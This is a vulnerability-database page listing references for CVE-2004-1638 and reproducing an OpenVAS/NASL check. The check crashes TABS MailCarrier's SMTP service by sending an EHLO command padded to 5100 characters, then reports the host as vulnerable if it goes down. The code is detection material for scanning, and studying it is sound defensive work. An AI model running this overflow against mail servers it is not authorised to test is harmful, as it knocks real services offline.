| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
| CVE-2004-1638 | 30 Apr 201000:00 | – | circl | |
| CVE-2004-1638 | 20 Feb 200505:00 | – | cve | |
| CVE-2004-1638 | 20 Feb 200505:00 | – | cvelist | |
| TABS MailCarrier 2.51 - SMTP EHLO Overflow (Metasploit) | 30 Apr 201000:00 | – | exploitdb | |
| MailCarrier < 3.0.1 SMTP EHLO Command Remote Overflow | 3 Dec 200400:00 | – | nessus | |
| TABS MailCarrier v2.51 SMTP EHLO Overflow | 9 Sep 200722:43 | – | metasploit | |
| CVE-2004-1638 | 16 Oct 200404:00 | – | nvd | |
| TABS MailCarrier v2.51 SMTP EHLO Overflow | 26 Nov 200900:00 | – | packetstorm |
| Source | Link |
|---|---|
| securityfocus | www.securityfocus.com/bid/11535 |
# SPDX-FileCopyrightText: 2004 George A. Theall
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.15902");
script_version("2023-10-31T05:06:37+0000");
script_tag(name:"last_modification", value:"2023-10-31 05:06:37 +0000 (Tue, 31 Oct 2023)");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_cve_id("CVE-2004-1638");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/11535");
script_xref(name:"OSVDB", value:"11174");
script_name("TABS MailCarrier SMTP Buffer Overflow Vulnerability");
script_category(ACT_DESTRUCTIVE_ATTACK);
script_copyright("Copyright (C) 2004 George A. Theall");
script_family("SMTP problems");
script_dependencies("smtpserver_detect.nasl", "check_smtp_helo.nasl");
script_require_ports("Services/smtp", 25);
script_mandatory_keys("smtp/tabs/mailcarrier/detected");
script_tag(name:"impact", value:"By sending an overly long EHLO command, a remote attacker can crash the SMTP
service and execute arbitrary code on the target.");
script_tag(name:"solution", value:"Upgrade to MailCarrier 3.0.1 or later.");
script_tag(name:"summary", value:"The target is running at least one instance of MailCarrier in which the
SMTP service suffers from a buffer overflow vulnerability.");
script_tag(name:"qod_type", value:"remote_analysis");
script_tag(name:"solution_type", value:"VendorFix");
exit(0);
}
include("smtp_func.inc");
include("misc_func.inc");
include("port_service_func.inc");
port = smtp_get_port( default:25 );
banner = smtp_get_banner( port:port );
if( ! banner || "TABS Mail Server" >!< banner )
exit( 0 );
soc = open_sock_tcp( port );
if( ! soc )
exit( 0 );
vtstrings = get_vt_strings();
# It's MailCarrier and the port's open so try to overflow the buffer.
#
# nb: this just tries to overflow the buffer and crash the service
# rather than try to run an exploit, like what muts published
# as a PoC on 10/23/2004. I've verified that buffer sizes of
# 1032 (from the TABS LABS update alert) and 4095 (from
# smtp_overflows.nasl) don't crash the service in 2.5.1 while
# one of 5100 does so that what I use here.
c = string( "EHLO ", crap( 5100, vtstrings["uppercase"] ), "\r\n" );
send( socket:soc, data:c );
repeat {
s = recv_line( socket:soc, length:32768 );
}
until( s !~ '^[0-9]{3}[ -]' );
if( ! s ) {
close( soc );
sleep( 2 );
soc = open_sock_tcp( port );
if( ! soc ) {
security_message( port:port );
exit( 0 );
} else {
close( soc );
}
}
smtp_close( socket:soc, check_data:s );
exit( 99 );
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation